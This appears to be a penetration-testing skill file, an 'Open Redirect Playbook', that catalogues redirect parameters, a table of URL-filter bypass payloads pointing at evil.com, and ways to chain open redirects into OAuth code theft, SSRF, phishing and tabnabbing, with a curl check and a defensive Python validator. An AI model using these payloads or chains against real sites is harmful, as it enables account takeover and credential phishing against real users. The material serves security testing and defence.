- name
- open-redirect
- description
- Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.
- metadata
- {"when_to_use":"open redirect url next return continue redirect_uri tabnabbing","mitre_attack":"T1204","subdomain":"redirect","upstream_ref":"skills/_corpus/payloads/Open Redirect/"}
# Open Redirect Playbook
Standalone open redirect = Low/Informational by itself.
**Chained**: critical (OAuth ATO, SSRF, phishing trust transfer).
## 1. Common parameters
```
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
```
Grep recon URLs / JS for these params.
## 2. Bypass table
| Technique | Payload |
|---|---|
| Direct | `https://evil.com` |
| Protocol-relative | `//evil.com` |
| Triple-slash | `///evil.com` |
| Backslash | `\\evil.com` or `/\\evil.com` |
| Encoded slash | `%2f%2fevil.com` |
| Mixed encoded | `/%5cevil.com` |
| Userinfo | `https://target.com@evil.com` |
| Whitelist confusion | `https://target.com.evil.com` (subdomain ends w/ allowed) |
| Path-traversal in fragment | `target.com/?redirect=evil.com#@target.com` |
| Data URI | `data:text/html,<script>location='https://evil.com'</script>` |
| Javascript URI | `javascript:alert(1)` (for XSS upgrade) |
| CRLF injection | `redirect=evil.com%0d%0aSet-Cookie:...` |
| Punycode | `https://xn--80ak6aa92e.com` (looks like `apple.com`) |
| Mixed-case scheme | `HTTPS://evil.com` |
| Whitespace prefix | `%09//evil.com`, `%20//evil.com` |
| URL-encoded null | `evil.com%00.target.com` |
| Multiple slashes | `//////evil.com` |
## 3. Chain patterns
### 3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on `*.target.com`.
You have open-redirect at `target.com/redir?to=...`. Attacker:
```
redirect_uri=https://target.com/redir?to=https://evil.com/cb
```
OAuth server allows the literal target.com host; victim browser
follows the 302 → evil.com → code in URL.
### 3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But
fetches the URL via redirect. Server-side fetcher visits target.com (allowed),
follows 302 to internal IP (no DNS re-resolution).
### 3.3 Phishing
Send phishing email from attacker domain → click → lands on
`target.com/login?next=https://evil-attacker.com/fake-login`. After
"login" page redirects to attacker — but URL bar shows `target.com` for
the first second, building trust.
### 3.4 Tabnabbing
`window.open(URL)` w/o `noopener,noreferrer` → opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.
## 4. Tools
- **OpenRedireX** — fuzz w/ massive payload list
- Burp Intruder w/ payloads from `_corpus/payloads/Open Redirect/`
- `gf` (Tomnomnom) patterns to extract redirect params from URLs
## 5. PoC
```bash
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com → confirmed open redirect
```
## 6. Severity
| Scenario | Typical |
|---|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth → ATO | Critical 9.0 |
| Chained w/ SSRF bypass → metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |
## 7. Defender
```python
from urllib.parse import urlparse
def safe_redirect(url, allowed_hosts={'target.com'}):
p = urlparse(url)
if not p.netloc: # relative path only
return url if url.startswith('/') and not url.startswith('//') else '/'
if p.netloc in allowed_hosts:
return url
return '/'
# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer' # in HTML <a>
```
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Open Redirect/`
- OAuth chain extension: `skills/exploit/web/oauth/SKILL.md`
- SSRF chain extension: `skills/exploit/web/ssrf.md`
عرض على GitHub